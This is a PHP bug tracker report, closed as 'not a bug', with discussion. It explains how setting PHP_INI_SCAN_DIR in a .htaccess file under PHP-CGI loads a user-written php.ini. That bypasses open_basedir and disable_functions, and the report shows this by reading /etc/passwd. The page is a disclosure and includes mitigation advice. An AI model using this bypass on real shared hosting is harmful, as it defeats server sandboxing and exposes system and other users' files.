|  support |  documentation |  report a bug |  advanced search |  search howto |  statistics |  random bug |  login
Bug #79449 PHP CGI Security Restrictions Bypass (open_basedir, disable_functions, ...)
Submitted: 2020-04-03 20:42 UTC Modified: 2020-04-04 18:57 UTC
From: havijoori at protonmail dot com Assigned:
Status: Not a bug Package: *General Issues
PHP Version: 7.4.4 OS: Linux
Private report: No CVE-ID: None
Welcome back! If you're the original bug submitter, here's where you can edit the bug or add additional notes.
If this is not your bug, you can add a comment by following this link.
If this is your bug, but you forgot your password, you can retrieve your password here.
Bug Type:
From: havijoori at protonmail dot com
New email:
PHP Version: OS:


 [2020-04-03 20:42 UTC] havijoori at protonmail dot com
Description :
One of PHP features is running PHP scripts as CGI scripts with PHP-CGI. For example in Apache http server, we can refer php scripts to PHP-CGI with mod_cgi. In this state, PHP looks for PHP_INI_SCAN_DIR environment variable to find directory containing .ini files. So if we set this environment variable befoe calling php scripts, we can rewrite default php.ini configs such as open_basedir, disable_functions and other security configs.

PoC :
First we configure a web server which handles PHP as CGI with mod_cgi.
Apache config file is something like this :

LoadModule cgi_module modules/
DocumentRoot "/srv/http"
<Directory "/srv/http">
    AllowOverride All
    Require all granted
Action php-script /cgi-bin/php
AddHandler php-script .php

And we set some security restrictions in PHP config file :

open_basedir = /srv/http:/tmp
disable_functions = phpinfo

Now, we test our security config with a simple test.php file :

echo file_get_contents('/etc/passwd');

<b>Warning</b>:  file_get_contents(): open_basedir restriction in effect. File(/etc/passwd) is not within the allowed path(s): (/srv/http:/tmp) in <b>/srv/http/test.php</b> on line <b>2</b><br />

And :

echo phpinfo();

<b>Warning</b>:  phpinfo() has been disabled for security reasons in <b>/srv/http/test.php</b> on line <b>2</b><br />

OK, now we make a .htaccess file in /srv/http and set PHP_INI_SCAN_DIR environment variable :

SetEnv PHP_INI_SCAN_DIR /srv/http

And a php.ini file in /srv/http :

open_basedir = /
disable_functions =

Here, both security restrictions are bypassed and we can read /etc/passwd file and run phpinfo function.
Tested with PHP 7.4.4 and Apache 2.4.41.

Prevention :
To prevent this vulnerability, you can put a config like "clear_env" in PHP-FPM for PHP-CGI or remove PHP_INI_SCAN_DIR from environment variables in CGI mode.


Add a Patch

Pull Requests

Add a Pull Request


AllCommentsChangesGit/SVN commitsRelated reports
 [2020-04-03 20:46 UTC]
-Status: Open +Status: Not a bug -Type: Security +Type: Bug
 [2020-04-03 20:46 UTC]
This is not a security issue, if you give your users control over the environment, they can influence the environment.
 [2020-04-03 21:20 UTC] havijoori at protonmail dot com
Yes, but some environment variables can be critical and should be protected.
Same as the work you are doing in PHP-FPM.
This can help servers like shared hosts which are serving PHP with mod_cgi.
 [2020-04-04 18:57 UTC] havijoori at protonmail dot com
If you don't care about this issue, so I am going to publish it.
 [2020-04-04 19:21 UTC] bugreports at gmail dot com
when you supply unsecure webspaces where your users can use SetEnv it's PEBCAK (problem exists between chair and keyboard) and when i set PHP_INI_SCAN_DIR in a proper controlled environemt it's there for a reason and php has no business to ignore it
PHP Copyright © 2001-2022 The PHP Group
All rights reserved.
Last updated: Wed Oct 05 09:05:52 2022 UTC